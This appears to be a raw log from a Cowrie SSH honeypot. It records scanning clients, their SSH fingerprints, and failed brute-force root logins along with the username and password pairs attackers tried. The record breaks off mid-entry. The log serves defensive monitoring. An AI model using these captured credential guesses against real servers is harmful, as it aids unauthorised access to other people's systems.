{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:13.918853Z","src_ip":"211.106.137.135","session":"3627ccc65e75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:14.132374Z","src_ip":"211.106.137.135","session":"3627ccc65e75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456a@","message":"login attempt [root/123456a@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:14.934272Z","src_ip":"211.106.137.135","session":"3627ccc65e75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:16.157849Z","src_ip":"211.106.137.135","session":"3627ccc65e75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":46638,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c889eeff268","protocol":"ssh","message":"New connection: 139.59.208.49:46638 (10.17.0.5:22) [session: 9c889eeff268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:21.545652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:21.548672Z","src_ip":"139.59.208.49","session":"9c889eeff268","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:21.628597Z","src_ip":"139.59.208.49","session":"9c889eeff268","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"113355","message":"login attempt [root/113355] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:21.986030Z","src_ip":"139.59.208.49","session":"9c889eeff268","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.92.161.148","src_port":36590,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcacf42c1051","protocol":"ssh","message":"New connection: 164.92.161.148:36590 (10.17.0.5:22) [session: fcacf42c1051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:22.789285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:22.793114Z","src_ip":"164.92.161.148","session":"fcacf42c1051","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.121.102.3","src_port":60030,"dst_ip":"10.17.0.5","dst_port":22,"session":"07c624c0b8e7","protocol":"ssh","message":"New connection: 129.121.102.3:60030 (10.17.0.5:22) [session: 07c624c0b8e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:22.831563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:22.839477Z","src_ip":"129.121.102.3","session":"07c624c0b8e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:22.865413Z","src_ip":"129.121.102.3","session":"07c624c0b8e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:22.874198Z","src_ip":"164.92.161.148","session":"fcacf42c1051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ds123456","message":"login attempt [root/Ds123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:23.005185Z","src_ip":"129.121.102.3","session":"07c624c0b8e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:23.069438Z","src_ip":"139.59.208.49","session":"9c889eeff268","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@joinet","message":"login attempt [root/root@joinet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:23.239269Z","src_ip":"164.92.161.148","session":"fcacf42c1051","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:24.033611Z","src_ip":"129.121.102.3","session":"07c624c0b8e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:24.323281Z","src_ip":"164.92.161.148","session":"fcacf42c1051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:24.755301Z","src_ip":"8.210.75.243","session":"0f3c27141a6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.101.25","src_port":58042,"dst_ip":"159.203.135.109","dst_port":22,"session":"04dd1253d218","protocol":"ssh","message":"New connection: 103.97.101.25:58042 (159.203.135.109:22) [session: 04dd1253d218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:25.938943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:25.942849Z","src_ip":"103.97.101.25","session":"04dd1253d218","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:26.178977Z","src_ip":"103.97.101.25","session":"04dd1253d218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10qpalzm","message":"login attempt [root/10qpalzm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:27.146127Z","src_ip":"103.97.101.25","session":"04dd1253d218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:28.383063Z","src_ip":"103.97.101.25","session":"04dd1253d218","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.35.226","src_port":39742,"dst_ip":"159.203.135.109","dst_port":22,"session":"00ee8ce0bc3c","protocol":"ssh","message":"New connection: 166.62.35.226:39742 (159.203.135.109:22) [session: 00ee8ce0bc3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:30.073747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:30.080447Z","src_ip":"166.62.35.226","session":"00ee8ce0bc3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:30.160870Z","src_ip":"166.62.35.226","session":"00ee8ce0bc3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"T@1k0$M@st3r@P@ss","message":"login attempt [root/T@1k0$M@st3r@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:30.361187Z","src_ip":"166.62.35.226","session":"00ee8ce0bc3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:31.429833Z","src_ip":"166.62.35.226","session":"00ee8ce0bc3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.51.138","src_port":46954,"dst_ip":"10.17.0.5","dst_port":22,"session":"8162a84da395","protocol":"ssh","message":"New connection: 147.45.51.138:46954 (10.17.0.5:22) [session: 8162a84da395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:31.643711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:31.651169Z","src_ip":"147.45.51.138","session":"8162a84da395","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:31.741470Z","src_ip":"147.45.51.138","session":"8162a84da395","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tg123456","message":"login attempt [root/Tg123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:32.137198Z","src_ip":"147.45.51.138","session":"8162a84da395","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":53046,"dst_ip":"10.17.0.5","dst_port":22,"session":"14df07240552","protocol":"ssh","message":"New connection: 122.176.122.24:53046 (10.17.0.5:22) [session: 14df07240552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:33.193751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:33.197184Z","src_ip":"122.176.122.24","session":"14df07240552","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:33.229610Z","src_ip":"147.45.51.138","session":"8162a84da395","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:33.463634Z","src_ip":"122.176.122.24","session":"14df07240552","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa12345678!","message":"login attempt [root/Aa12345678!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:34.557309Z","src_ip":"122.176.122.24","session":"14df07240552","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:35.825172Z","src_ip":"122.176.122.24","session":"14df07240552","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"94.6","message":"Connection lost after 94.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:39.426966Z","src_ip":"8.210.75.243","session":"0f3c27141a6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.200.205.179","src_port":34504,"dst_ip":"10.17.0.5","dst_port":22,"session":"68864f7fe6a0","protocol":"ssh","message":"New connection: 152.200.205.179:34504 (10.17.0.5:22) [session: 68864f7fe6a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:40.765596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:43:40.773495Z","src_ip":"152.200.205.179","session":"68864f7fe6a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes1